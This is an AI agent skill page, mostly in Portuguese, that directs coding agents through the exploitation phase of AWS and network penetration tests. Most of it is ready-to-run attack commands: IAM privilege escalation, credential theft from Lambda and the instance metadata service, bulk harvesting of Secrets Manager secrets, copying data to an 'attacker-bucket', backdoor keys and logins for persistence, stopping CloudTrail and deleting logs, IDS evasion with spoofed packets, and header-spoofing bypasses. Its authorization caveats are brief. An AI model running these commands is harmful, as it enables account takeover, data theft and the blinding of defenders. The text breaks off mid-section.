# Pentest Exploitation

> PTES Phase 5 - Exploitation for AWS security assessments using WorstAssume attack chain detection

- Skill: `bob-reis/pentest-exploitation` (Agent Skill)
- Install (CLI): `npx skillmds@latest add bob-reis/pentest-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/bob-reis/pentest-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: bob-reis (https://skillmd.com/u/bob-reis)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/bob-reis/pentest-exploitation

---


# PTES Phase 5: Exploitation

## 🎯 pfSense Detection & Routing

> **IMPORTANTE:** Se durante a exploração você identificar **pfSense**, **ATIVE A SKILL `pentest-pfsense`** imediatamente.

### Indicadores de pfSense

```bash
# Default credentials test
curl -sk -c cookies.txt -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" https://TARGET/

# Web GUI check
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate|login_button"

# Service enumeration
nmap -sV -p 443,22,1194,500 TARGET | grep -iE "nginx|openssh|openvpn"
```

### Sinais de Alerta
- [ ] Credenciais padrão funcionam (admin:pfsense)
- [ ] Web GUI pfSense acessível
- [ ] diag_command.php acessível (RCE pós-auth)
- [ ] XMLRPC disponível (exec_shell, exec_php)
- [ ] Pacotes vulneráveis (pfBlockerNG, Suricata, Snort)

### Ação Imediata
```bash
# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para exploração geral (AWS)
# Use pentest-pfsense para:
# - CVE-2023-42326: Command Injection (interfaces_gif_edit.php)
# - CVE-2025-53392: Arbitrary File Read (diag_command.php)
# - CVE-2023-48123: Packet Capture RCE
# - CVE-2022-40624: pfBlockerNG Host Header RCE
# - CVE-2025-12490: Suricata/Snort Path Traversal → RCE
# - XMLRPC exec_shell/exec_php exploitation
```

---

## Objetivo
Explorar ativamente as vulnerabilidades identificadas para confirmar impacto real e simular ataques de um adversário, seguindo PTES Section 4 (Exploitation).

## WorstAssume Attack Chain Engine (worstassume/core/attack_chains.py)

### 7 Attack Chain Families

```python
# Family I - IAM Self-Modification (attack_chains.py:278-338)
I. CreatePolicy + AttachUserPolicy → Self Admin Escalation
   - Severity: CRITICAL
   - Steps: CreatePolicy → AttachUserPolicy → Admin Access

II. CreatePolicy + AttachRolePolicy → Role Privilege Escalation
   - Severity: CRITICAL
   - Steps: CreatePolicy → AttachRolePolicy → AssumeRole

# Family II - PassRole + Compute Service (attack_chains.py:343-403)
II. PassRole + CloudFormation CreateStack → IAM User Creation
    - Chain-ID: PassRole+CFN→IAMUser
    - Severity: CRITICAL
    
II. PassRole + Lambda CreateFunction → Steal Execution Role
    - Chain-ID: PassRole+Lambda→StealRole
    - Severity: CRITICAL

II. PassRole + EC2 RunInstances → IMDS Credential Theft
    - Chain-ID: PassRole+EC2→IMDSSteal
    - Severity: HIGH

# Family III - Compute Credential Theft (attack_chains.py:406-522)
III. SSM SendCommand → Steal Instance Profile
     - Chain-ID: SSMSendCommand→StealInstanceRole
     - Severity: HIGH

III. EC2 ModifyUserData → Steal Role via UserData
     - Chain-ID: EC2ModifyUserData→StealRole
     - Severity: HIGH

III. Lambda UpdateCode → Steal Execution Role
     - Chain-ID: Lambda:UpdateCode→StealExecRole
     - Severity: HIGH

III. ECS UpdateService → Steal Task Role
     - Chain-ID: ECS:UpdateService→StealTaskRole
     - Severity: HIGH

# Family IV - Secret Exfiltration → Credential Reuse (attack_chains.py:525-620)
IV. SecretsManager GetSecretValue → IAM Key Reuse
    - Chain-ID: SecretsManager→IAMKeyReuse
    - Severity: HIGH/MEDIUM

IV. SSM GetParameter → IAM Key Reuse
    - Chain-ID: SSMParameter→IAMKeyReuse
    - Severity: HIGH/MEDIUM

IV. Lambda GetFunction → Env Secrets
    - Chain-ID: Lambda:GetFunction→EnvSecrets
    - Severity: MEDIUM

IV. S3 GetObject → Credential Files
    - Chain-ID: S3:GetObject→CredFile
    - Severity: MEDIUM

# Family V - Account Takeover (attack_chains.py:623-729)
V. UpdateLoginProfile → Console Takeover
   - Chain-ID: UpdateLoginProfile→ConsoleTakeover
   - Severity: CRITICAL

V. MFA Bypass + UpdateLogin → Takeover Without MFA
   - Chain-ID: MFABypass+UpdateLogin→Takeover
   - Severity: CRITICAL

V. CreateAccessKey → Persistent Admin Access
   - Chain-ID: CreateAccessKey→PersistentAdmin
   - Severity: CRITICAL

V. UpdateAssumeRolePolicy + AssumeRole → Role Takeover
   - Chain-ID: UpdateAssumeRole+AssumeRole→Takeover
   - Severity: CRITICAL

# Family VI - Group Membership (attack_chains.py:732-779)
VI. AddUserToGroup → Join High-Privilege Group
    - Chain-ID: AddUserToGroup→GroupPrivEsc
    - Severity: HIGH

VI. PutGroupPolicy + AddUserToGroup → Self-Escalation
    - Chain-ID: PutGroupPolicy+AddUser→SelfEscalation
    - Severity: CRITICAL

# Family VII - Cross-Account Lateral Movement (attack_chains.py:782-846)
VII. WildcardTrust → Any Principal Assumes High-Priv Role
     - Chain-ID: WildcardTrust→AnyPrincipalAssume
     - Severity: CRITICAL

VII. Cross-Account Trust → Dangerous Role → Lateral Movement
     - Chain-ID: CrossAccount→DangerousRole
     - Severity: CRITICAL
```

### PrivEsc Finding Families (A-F)

```python
# Family A - IAM Policy Manipulation (attack_chains.py:1018-1099)
A. CreatePolicyVersion (CRITICAL)
B. SetDefaultPolicyVersion (CRITICAL)
C. AttachUserPolicy (CRITICAL)
D. AttachRolePolicy (CRITICAL)
E. AttachGroupPolicy (CRITICAL)
F. PutUserPolicy (CRITICAL)
G. PutRolePolicy (CRITICAL)
H. PutGroupPolicy (CRITICAL)
I. CreatePolicy (HIGH)
J. AddUserToGroup (HIGH)

# Family B - Role Trust/Assumption Manipulation (attack_chains.py:1102-1126)
A. UpdateAssumeRolePolicy (CRITICAL)
B. WildcardTrustPrincipal (CRITICAL)
C. AssumeRoleWildcardResource (HIGH)

# Family C - Compute: PassRole + Resource Abuse (attack_chains.py:1129-1234)
A. PassRole+Lambda:CreateFunction (CRITICAL)
B. PassRole+Lambda:UpdateFunctionCode (HIGH)
C. PassRole+EC2:RunInstances (HIGH)
D. PassRole+ECS:RegisterTaskDefinition (HIGH)
E. PassRole+ECS:UpdateService (HIGH)
F. PassRole+CloudFormation:CreateStack (CRITICAL)
G. PassRole+CloudFormation:UpdateStack (HIGH)
H. PassRole+Glue:CreateJob (HIGH)
I. PassRole+SageMaker:CreateTrainingJob (HIGH)
J. PassRole+CodeBuild:CreateProject (HIGH)
K. PassRole+DataPipeline (MEDIUM)
L. PassRole+SSM:SendCommand (HIGH)

# Family D - Credential/Key Exfiltration (attack_chains.py:1237-1295)
A. EC2:ModifyInstanceAttribute (HIGH)
B. SSM:SendCommand (HIGH)
C. SecretsManager:GetSecretValue (HIGH)
D. SSM:GetParameter (MEDIUM)
E. Lambda:GetFunction (MEDIUM)
F. S3:GetObject:Wildcard (MEDIUM)

# Family E - Service-Specific Escalation (attack_chains.py:1298-1344)
A. UpdateLoginProfile (CRITICAL)
B. CreateLoginProfile (HIGH)
C. CreateAccessKey (CRITICAL)
D. UpdateAccessKey (MEDIUM)
E. MFABypass (HIGH)

# Family F - Trust Condition Bypass (attack_chains.py:1347-1426)
A. TrustPolicyNoCondition (HIGH)
B. TrustPolicyNoExternalId (HIGH)
C. TrustPolicyNoMFARequired (MEDIUM)
```

### PATH-IDs (42 Attack Paths)

```
PATH-001: iam:CreatePolicyVersion → Admin em qualquer policy gerenciada
PATH-002: iam:SetDefaultPolicyVersion → Ativar versão dormante
PATH-003: iam:AttachUserPolicy → Attach em user
PATH-004: iam:AttachRolePolicy → Attach em role
PATH-005: iam:AttachGroupPolicy → Attach em group
PATH-006: iam:PutUserPolicy → Inline policy em user
PATH-007: iam:PutRolePolicy → Inline policy em role
PATH-008: iam:PutGroupPolicy → Inline policy em group
PATH-009: iam:AddUserToGroup → Herdar permissões
PATH-010: iam:UpdateAssumeRolePolicy → Modificar trust
PATH-011: iam:CreateAccessKey → Key persistente
PATH-012: iam:CreateLoginProfile → Console access
PATH-013: iam:UpdateLoginProfile → Overwrite password
PATH-014: IMDSv1 → Credential theft (IMDSv1 enabled)
PATH-015: ec2:RunInstances + iam:PassRole → EC2 instance profile
PATH-016: lambda:CreateFunction + iam:PassRole → Lambda execution role
PATH-018: lambda:CreateEventSourceMapping → Auto-trigger
PATH-019: lambda:UpdateFunctionCode → Inject code
PATH-020: lambda:UpdateFunctionConfiguration → Malicious layer
PATH-021: glue:CreateDevEndpoint → SSH access
PATH-022: glue:UpdateDevEndpoint → SSH key injection
PATH-023: cloudformation:CreateStack → Service role
PATH-024: datapipeline:CreatePipeline → Shell activity
PATH-025: sagemaker:CreateNotebookInstance → Notebook
PATH-026: sagemaker:CreatePresignedUrl → Session hijack
PATH-027: codestar:CreateProject → Project role
PATH-030: sts:AssumeRole (same-account) → Role assumption
PATH-031: sts:AssumeRole (cross-account) → Lateral movement
PATH-032: ssm:SendCommand → RCE via Run Command
PATH-033: ec2:InstanceConnect → SSH via public key
PATH-035: s3:PutBucketPolicy → Bucket access
PATH-036: secretsmanager:GetSecretValue → Secret harvest
PATH-037: ecs-tasks:GetTaskMetadata → Task role creds
PATH-042: cloudtrail:StopLogging / guardduty:DeleteDetector → Defensive blinding
```

## Referências PTES para Exploitation

### PTES 4.1 - Precision Strike
- **4.1.1 Countermeasure Bypass**:
  - 4.1.1.1 AV (Antivirus)
  - 4.1.1.2 Human (Social Engineering)
  - 4.1.1.3 HIPS (Host Intrusion Prevention)
  - 4.1.1.4 DEP (Data Execution Prevention)
  - 4.1.1.5 ASLR (Address Space Layout Randomization)
  - 4.1.1.8 WAF (Web Application Firewall)
  - 4.1.1.9 Stack Canaries

### PTES 4.2 - Customized Exploitation
- **4.2.1 Fuzzing** (Dumb, Intelligent)
- **4.2.4 Sniffing** (Wireshark, Tcpdump)
- **4.2.5 Brute-Force** (THC-Hydra, Medusa, Ncrack)
- **4.2.14 VLAN Hopping**
- **4.2.15 VTP Attacks**

### PTES 4.4 - Attacking the User
- **4.4.1 Karmetasploit Attacks**
- **4.4.5 Web Attacks** (SQLi, XSS, CSRF)
- **4.4.10 The Social-Engineer Toolkit (SET)**

### PTES 4.7 - Pillaging
- **4.7.2 Data Exfiltration**
- **4.7.3 Locating Shares**
- **4.7.6 Database Enumeration**
- **4.7.8 Source Code Repos**
- **4.7.11 Backups**

### PTES 4.9 - Further Penetration
- **4.9.1 Pivoting Inside** (History/Logs)
- **4.9.2 Cleanup**

### PTES 4.10 - Persistence

---

## ⚠️ AVISO IMPORTANTE
- Execute apenas em ambientes autorizados
- Tenha approval explícito para cada técnica de exploração
- Documente todas as ações para o relatório
- Use stealth mode quando necessário para evitar detecção

---

## Exploração com WorstAssume

### 1. Descoberta de Attack Paths (PTES 4.2 - Customized Exploitation)

```bash
# Encontrar todos os paths de privilege escalation
worst privesc --from arn:aws:iam::ACCOUNT:user/USER

# Paths com target específico (permission)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "permission:*:*"

# Paths com target específico (role)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "principal:arn:aws:iam::ACCOUNT:role/Admin"

# Output em JSON para automação (PTES 4.9 - Pivoting)
worst privesc --from <arn> --output json

# Limitar hops (para ambientes grandes)
worst privesc --from <arn> --max-hops 5
```

### 2. Técnicas de Exploração por Categoria (PTES 4.1 - Precision Strike)

#### EXPLOIT-IAM-001: Policy Version Creation (PTES 4.1.1 - Countermeasure Bypass)
```
VULNERABILITY: iam:CreatePolicyVersion
PATH-ID: PATH-001
SEVERITY: CRITICAL
PTES: 4.1.1 - Countermeasure Bypass

EXPLOITATION STEPS:
1. Identificar policy gerenciada acessível
2. Criar nova versão com AdministratorAccess
3. Definir como versão default
4. Acessar com privilégios elevados

COMANDOS DE EXPLORAÇÃO:
# Criar nova versão da policy
aws iam create-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT:policy/TargetPolicy \
  --policy-document file://admin-policy.json \
  --set-as-default

# Policy document malicioso
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}

VERIFICAÇÃO:
aws iam list-policy-versions --policy-arn <arn>
```

#### EXPLOIT-IAM-002: Attach Policy (PTES 4.2 - Customized Exploitation)
```
VULNERABILITY: iam:AttachUserPolicy / iam:AttachRolePolicy
PATH-ID: PATH-003, PATH-004
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation

EXPLOITATION STEPS:
1. Identificar policy com AdministratorAccess
2. Attach policy ao próprio user/role
3. Aguardar propagação (~30 segundos)
4. Verificar novas permissões

COMANDOS DE EXPLORAÇÃO:
aws iam attach-user-policy \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
  --user-name <self-user>

VERIFICAÇÃO:
aws iam list-attached-user-policies --user-name <user>
```

#### EXPLOIT-IAM-003: Inline Policy Injection (PTES 4.2.1 - Fuzzing)
```
VULNERABILITY: iam:PutUserPolicy / iam:PutRolePolicy
PATH-ID: PATH-006, PATH-007
SEVERITY: CRITICAL
PTES: 4.2.1 - Fuzzing

EXPLOITATION STEPS:
1. Criar policy document malicioso
2. Inject inline policy no target
3. Usar novas permissões

COMANDOS DE EXPLORAÇÃO:
aws iam put-user-policy \
  --user-name <target-user> \
  --policy-name BackdoorPolicy \
  --policy-document file://admin-policy.json
```

#### EXPLOIT-IAM-004: Group Membership Escalation (PTES 4.7.3 - Locating Shares)
```
VULNERABILITY: iam:AddUserToGroup
PATH-ID: PATH-009
SEVERITY: HIGH
PTES: 4.7.3 - Locating Shares

EXPLOITATION STEPS:
1. Identificar grupo com permissões elevadas
2. Adicionar próprio user ao grupo
3. Herdar permissões do grupo

COMANDOS DE EXPLORAÇÃO:
aws iam add-user-to-group \
  --user-name <self-user> \
  --group-name AdminGroup

VERIFICAÇÃO:
aws iam list-groups-for-user --user-name <user>
```

#### EXPLOIT-IAM-005: Trust Policy Modification (PTES 4.2 - Customized Exploitation)
```
VULNERABILITY: iam:UpdateAssumeRolePolicy
PATH-ID: PATH-010
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation

EXPLOITATION STEPS:
1. Identificar role de alto valor
2. Modificar trust policy para incluir próprio ARN
3. Assumir a role
4. Acessar com privilégios elevados

COMANDOS DE EXPLORAÇÃO:
# Criar novo trust policy
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "AWS": [
        "arn:aws:iam::ACCOUNT:user/attacker",
        "arn:aws:iam::ACCOUNT:role/original-role"
      ]
    },
    "Action": "sts:AssumeRole"
  }]
}

# Atualizar trust policy
aws iam update-assume-role-policy \
  --role-name <target-role> \
  --policy-document file://new-trust.json

# Assumir role
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT:role/target-role \
  --role-session-name exploitation
```

#### EXPLOIT-IAM-006: Credential Creation (PTES 4.7 - Pillaging)
```
VULNERABILITY: iam:CreateAccessKey / iam:CreateLoginProfile
PATH-ID: PATH-011, PATH-012
SEVERITY: CRITICAL
PTES: 4.7 - Pillaging

EXPLOITATION STEPS (Access Key):
1. Identificar user alvo (admin)
2. Criar access key para o user
3. Salvar credenciais
4. Usar credenciais persistentes

COMANDOS DE EXPLORAÇÃO:
aws iam create-access-key --user-name <admin-user>

# Output:
# {
#   "AccessKey": {
#     "AccessKeyId": "AKIA...",
#     "SecretAccessKey": "secret..."
#   }
# }

# Configurar perfil
aws configure set aws_access_key_id AKIA... --profile compromised
aws configure set aws_secret_access_key secret... --profile compromised

EXPLOITATION STEPS (Console):
aws iam create-login-profile \
  --user-name <admin-user> \
  --password 'SecurePassword123!' \
  --no-password-reset-required

ACESSO:
https://ACCOUNT_ID.signin.aws.amazon.com/console
Username: <admin-user>
Password: SecurePassword123!
```

#### EXPLOIT-COMPUTE-001: PassRole + Lambda (PTES 4.2 - Customized Exploitation)
```
VULNERABILITY: iam:PassRole + lambda:CreateFunction
PATH-ID: PATH-016
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation

EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Criar Lambda function com essa role
3. Inject código malicioso
4. Invocar function
5. Coletar credenciais da role

COMANDOS DE EXPLORAÇÃO:
# Criar deployment package
mkdir lambda_function
cd lambda_function
echo "import os
def lambda_handler(event, context):
    return {
        'access_key': os.environ['AWS_ACCESS_KEY_ID'],
        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],
        'session_token': os.environ.get('AWS_SESSION_TOKEN', '')
    }" > lambda_function.py
zip -r function.zip .

# Criar function
aws lambda create-function \
  --function-name exfil-function \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/high-priv-role \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip

# Invocar
aws lambda invoke \
  --function-name exfil-function \
  --cli-binary-format raw-in-base64-out \
  --payload '{}' \
  output.json

cat output.json
```

#### EXPLOIT-COMPUTE-002: PassRole + EC2 (PTES 4.7.2 - Data Exfiltration)
```
VULNERABILITY: iam:PassRole + ec2:RunInstances
PATH-ID: PATH-015
SEVERITY: HIGH
PTES: 4.7.2 - Data Exfiltration

EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Launch EC2 instance com instance profile
3. Acessar instância (SSH/SSM)
4. Coletar credenciais do IMDS

COMANDOS DE EXPLORAÇÃO:
aws ec2 run-instances \
  --image-id ami-0c55b159cbfafe1f0 \
  --instance-type t2.micro \
  --iam-instance-profile Name=high-priv-profile \
  --security-group-ids sg-xxx \
  --subnet-id subnet-xxx

# Acessar via SSM
aws ssm start-session --target <instance-id>

# Coletar credenciais (dentro da instância)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
```

#### EXPLOIT-COMPUTE-003: SSM Lateral Movement (PTES 4.9 - Pivoting)
```
VULNERABILITY: ssm:SendCommand
PATH-ID: PATH-032
SEVERITY: HIGH
PTES: 4.9.1 - Pivoting Inside

EXPLOITATION STEPS:
1. Identificar EC2 instances gerenciadas pelo SSM
2. Enviar Run Command
3. Executar comandos como a role da instância

COMANDOS DE EXPLORAÇÃO:
aws ssm send-command \
  --document-name "AWS-RunShellScript" \
  --targets "Key=instanceIds,Values=<instance-id>" \
  --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/"]' \
  --comment "Exploitation test"

# Ver resultado
aws ssm list-command-invocations --command-id <command-id> --details
```

#### EXPLOIT-DATA-001: Secrets Manager Harvest (PTES 4.7 - Pillaging)
```
VULNERABILITY: secretsmanager:GetSecretValue
PATH-ID: PATH-036
SEVERITY: HIGH
PTES: 4.7 - Pillaging

EXPLOITATION STEPS:
1. Listar todos os secrets
2. Ler valor de cada secret
3. Extrair credenciais/dados sensíveis

COMANDOS DE EXPLORAÇÃO:
# Listar secrets
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}'

# Ler cada secret
aws secretsmanager get-secret-value --secret-id <secret-name> --query 'SecretString' --output text
```

#### EXPLOIT-CROSS-001: Cross-Account Assumption (PTES 4.9 - Pivoting)
```
VULNERABILITY: Cross-account trust + sts:AssumeRole
PATH-ID: PATH-031
SEVERITY: CRITICAL
PTES: 4.9.1 - Pivoting Inside

EXPLOITATION STEPS:
1. Identificar role cross-account com trust adequado
2. Assumir role da conta alvo
3. Executar ações na conta alvo

COMANDOS DE EXPLORAÇÃO:
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET_ACCOUNT:role/cross-account-role \
  --role-session-name cross-account-exploit

# Configurar credenciais da conta alvo
export AWS_ACCESS_KEY_ID=<from assume-role output>
export AWS_SECRET_ACCESS_KEY=<from assume-role output>
export AWS_SESSION_TOKEN=<from assume-role output>

# Verificar identidade na conta alvo
aws sts get-caller-identity
```

### 3. Cadeias de Exploração Completa (PTES 4.2 - Customized Exploitation)

#### Chain A: IAM → Admin Completo (PTES 4.1 - Precision Strike)
```
CHAIN: CreatePolicy + AttachUserPolicy
PTES: 4.1 - Precision Strike
STEPS:
1. aws iam create-policy-version --policy-arn <policy> --policy-document admin.json --set-as-default
2. aws iam attach-user-policy --policy-arn <policy> --user-name <self>
3. aws sts get-caller-identity (verificar permissões)

IMPACTO: Admin completo na conta
```

#### Chain B: PassRole → Lambda → Admin (PTES 4.2 - Customized Exploitation)
```
CHAIN: PassRole + Lambda CreateFunction
PTES: 4.2 - Customized Exploitation
STEPS:
1. aws lambda create-function --role <high-priv-role> --function-name backdoor
2. aws lambda invoke --function-name backdoor
3. Coletar credenciais do output

IMPACTO: Credenciais de role administrativa
```

#### Chain C: Cross-Account → Lateral Movement (PTES 4.9 - Pivoting)
```
CHAIN: Cross-Account Trust → Dangerous Role
PTES: 4.9.1 - Pivoting Inside
STEPS:
1. aws sts assume-role --role-arn arn:aws:iam::TARGET:role/exploit
2. aws iam attach-user-policy (na conta alvo)
3. aws s3 ls (acessar dados na conta alvo)

IMPACTO: Comprometimento de múltiplas contas
```

### EXPLOIT-NET-000: Network Reconnaissance com Naabu (PTES 4.1 - Precision Strike)

**Nota:** Antes de explorar, use Naabu para identificar superfície de ataque:

```bash
# Identificar portas abertas (alvos potenciais)
naabu -host target.com -p - -silent

# Com service discovery
naabu -host target.com -p - -sV -silent

# Identificar CDN/WAF
naabu -host target.com -ec -cdn -silent

# Output para análise
naabu -host target.com -j -o scan-results.json
```

Use os resultados do Naabu para priorizar alvos de exploração.

---

### EXPLOIT-NET-001: Firewall Bypass e IDS Evasion com hping3 (PTES 4.1.1 - Countermeasure Bypass)
```
VULNERABILITY: Firewall ruleset misconfiguration / IDS evasion
TOOL: hping3 (instalado no Kali Linux)
SEVERITY: HIGH (depende do contexto)
PTES: 4.1.1 - Countermeasure Bypass / 4.2.5 - Brute-Force

QUANDO USAR:
- Firewall stateless detectado na fase de Intelligence Gathering
- IDS/IPS precisa ser testado para detecção de scans
- Necessário bypass de filtros de pacote por fragmentação
- Testar rate limiting de rede
- Mapear comportamento de firewall para exploração posterior

EXPLOITATION STEPS:

1. ACK Scan para bypass de firewall stateless
   hping3 -A -p 80 target.com
   # RST = porta não filtrada (firewall stateless não rastreia estado)
   # Sem resposta = firewall stateful ou drop

2. SYN Scan com fragmentação (bypass de ACLs)
   hping3 -S -p 80 -f target.com
   # Fragmenta packets em 2 partes, bypass de regras simples

3. XMAS Scan para evasão de IDS básico
   hping3 -F -P -U -p 80 target.com
   # Flags FIN+PUSH+URG, padrão anômalo que alguns IDS não detectam

4. NULL Scan (sem flags)
   hping3 -O -p 80 target.com
   # Nenhuma flag TCP, bypass de filtros baseados em flags

5. Source IP Spoofing para testes de IDS
   hping3 -S -p 80 -a 10.0.0.1 target.com
   # Testa se IDS correlaciona respostas com origem real

6. Random source IP (teste de detecção de spoofing)
   hping3 -S -p 80 --rand-source target.com

INTERPRETAÇÃO DOS RESULTADOS:
- SYN-ACK recebido = porta aberta (firewall permite)
- RST recebido = porta fechada (firewall permite)
- Sem resposta = porta filtrada ou drop pelo firewall

PAYLOADS DE FRAGMENTAÇÃO:
# Fragmentação manual com offset customizado
hping3 -S -p 80 -f -g 8 target.com  # offset de 8 bytes

# MTU virtual para fragmentação automática
hping3 -S -p 80 -m 16 target.com  # MTU de 16 bytes

DEFENSIVE BLINDING TEST (PTES 4.9.2 - Cleanup):
# Testar se tráfego é logado
hping3 -S -p 80 -c 10 target.com
# Verificar logs do firewall/IDS após scan

TEMPLATE DE FINDING:
FINDING: FIREWALL-BYPASS-HPING3
CATEGORY: NETWORK_EXPLOITATION
SEVERITY: HIGH
PTES: 4.1.1 - Countermeasure Bypass

TARGET:
- IP/Hostname: [target]
- Portas acessíveis via bypass: [lista]

DESCRIPTION:
Firewall stateless detectado permite bypass via ACK scan.
Portas [X, Y, Z] acessíveis usando técnicas de evasão.

EVIDENCE:
hping3 -A -p 80 target.com → RST recebido (não filtrado)

PTES REFERENCE: Section 4.1.1 (Countermeasure Bypass)
```

### EXPLOIT-WEB-001: HTTP Header Injection - IP Bypass com headi (PTES 4.1.1.8 - WAF Bypass)
```
VULNERABILITY: Controle de acesso baseado em IP via headers HTTP
TOOL: headi (instalado em /opt/Tools/HTTP-Injection/headi)
SEVERITY: HIGH/CRITICAL
PTES: 4.1.1.8 - WAF Bypass / 4.2 - Customized Exploitation

QUANDO USAR:
- Recurso retorna 403/401 por restrição de IP
- Suspeita de proxy reverso que confia em headers do cliente
- Endpoint interno acessível via header spoofing
- Bypass de WAF por IP whitelist

EXPLOITATION STEPS:
1. Confirmar o bloqueio baseline
   curl -v https://target.com/restricted → 403 Forbidden

2. Executar headi com payloads padrão (localhost bypass)
   headi -u https://target.com/restricted

3. Se IPs internos foram enumerados na fase de Intelligence Gathering:
   headi -u https://target.com/restricted -p internal_ips.txt

4. Confirmar bypass manualmente com o header identificado
   curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/restricted
   curl -H "X-Real-IP: 127.0.0.1" https://target.com/restricted

5. Explorar o recurso agora acessível

INTERPRETAÇÃO DO OUTPUT:
[+] verde = mudança no Content-Length → bypass em potencial
[-] vermelho = sem mudança

Exemplo positivo:
[+] [https://target.com/admin] [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 8192]

PAYLOADS PADRÃO DO HEADI:
127.0.0.1, localhost, 0.0.0.0, 0, 127.1, 127.0.1, 2130706433

HEADERS MAIS EFETIVOS PARA BYPASS:
- X-Forwarded-For (mais comum em proxies/load balancers)
- X-Real-IP (nginx)
- X-Custom-IP-Authorization (aplicações customizadas)
- True-Client-IP (Cloudflare)
- X-Original-URL / X-Rewrite-URL (IIS/mod_rewrite bypass)

VARIAÇÃO - SSRF via Host header:
headi pode identificar Host header injection → use para SSRF
curl -H "X-Forwarded-Host: attacker.com" https://target.com/
```

### 4. Técnicas de Evasão (PTES 4.1.1 - Countermeasure Bypass)

#### Evitar CloudTrail Detection (PTES 4.1.1 - Bypass)
```bash
# Usar endpoints VPC (não logged)
aws s3 ls --endpoint-url https://s3.vpce.amazonaws.com

# Usar sessões temporárias (menor rastro)
aws sts assume-role --role-arn <role> --role-session-name temp

# Evitar ações de escrita destrutivas
# Em vez de DeleteBucket: apenas listar
aws s3 ls s3://target-bucket
```

#### Rate Limiting (PTES 4.1.1 - Human Bypass)
```bash
# Adicionar delay entre comandos
sleep 2 && aws iam attach-user-policy ...
sleep 2 && aws sts get-caller-identity
```

#### Log Deletion (PTES 4.9.2 - Cleanup)
```bash
# Parar CloudTrail (apenas se autorizado!)
aws cloudtrail stop-logging --name <trail-name>

# Deletar logs específicos
aws logs delete-log-group --log-group-name /aws/cloudtrail/...
```

### 5. Documentação da Exploração (PTES 6.2 - Technical Reporting)

#### Template de Evidência (PTES 4.7 - Pillaging)
```
EXPLOITATION: [Nome da técnica]
DATE: [YYYY-MM-DD HH:MM:SS UTC]
TARGET: [ARN do recurso]
PATH-ID: [PATH-XXX]
PTES SECTION: [4.1/4.2/4.4/4.7/4.9]

PRE-EXPLOITATION STATE:
[Estado antes da exploração]

COMMANDS EXECUTED:
[Comandos exatos executados]

POST-EXPLOITATION STATE:
[Estado após exploração]

EVIDENCE:
[Screenshots, outputs, logs]

IMPACT CONFIRMED:
[O que foi confirmado com esta exploração]

PTES REFERENCE:
- Section: [PTES 4.x]
- Subsection: [Specific technique]
```

### 6. Validação de Sucesso (PTES 4.9 - Pivoting)

```bash
# Verificar permissões atuais
aws sts get-caller-identity

# Listar permissões efetivas
aws iam simulate-principal-policy \
  --policy-source-arn <self-arn> \
  --action-names "*" \
  --resource-arns "*"

# Verificar acesso a recursos críticos
aws s3 ls
aws secretsmanager list-secrets
aws ec2 describe-instances
```

### 7. Persistence Techniques (PTES 4.10 - Persistence)

#### Backdoor Access Keys
```bash
# Criar access key persistente (apenas se autorizado!)
aws iam create-access-key --user-name <compromised-user>

# Guardar para acesso futuro
# ARN: AKIA...
# Secret: ...
```

#### Login Profile Creation
```bash
# Criar console access
aws iam create-login-profile \
  --user-name <compromised-user> \
  --password 'BackdoorPassword123!' \
  --no-password-reset-required
```

#### Lambda Backdoor
```bash
# Criar Lambda com trigger
aws lambda create-function \
  --function-name backdoor-function \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/backdoor-role \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://backdoor.zip
```

### 8. Data Exfiltration (PTES 4.7.2 - Data Exfiltration)

#### S3 Exfiltration
```bash
# Listar buckets acessíveis
aws s3 ls

# Copiar dados para bucket controlado
aws s3 cp s3://target-bucket/sensitive-data/ s3://attacker-bucket/ --recursive
```

#### Secrets Exfiltration
```bash
# Exportar todos os secrets
aws secretsmanager list-secrets --query 'SecretList[].Name' | xargs -I {} \
  aws secretsmanager get-secret-value --secret-id {} >> exfiltrated-secrets.txt
```

#### Database Dump
```bash
# Conectar ao RDS via SSM
aws ssm start-session --target <instance-id>

# Dump database
mysqldump -h <rds-endpoint> -u admin -p database > dump.sql
```

### 9. Output Esperado desta Fase (PTES Deliverables)

#### Exploitation Report (PTES 4 - Exploitation)
1. **Lista de vulnerabilities exploradas com sucesso** (PTES 4.1 - Precision Strike)
2. **Evidências de cada exploração** (screenshots, outputs) (PTES 4.7 - Pillaging)
3. **Attack paths confirmados** (PTES 4.2 - Customized Exploitation)
4. **Credenciais comprometidas** (para relatório) (PTES 4.7 - Pillaging)
5. **Impacto real validado** (PTES 4.9 - Pivoting)
6. **Persistence mechanisms established** (PTES 4.10 - Persistence)
7. **Data exfiltration evidence** (PTES 4.7.2 - Data Exfiltration)
8. **Password audit results** (security-passwords plugin)
9. **CTF exploitation techniques applied** (ctf-assistant agent)

## Password Attacks com security-passwords

### Recursos Disponíveis (`security-passwords` plugin)
```
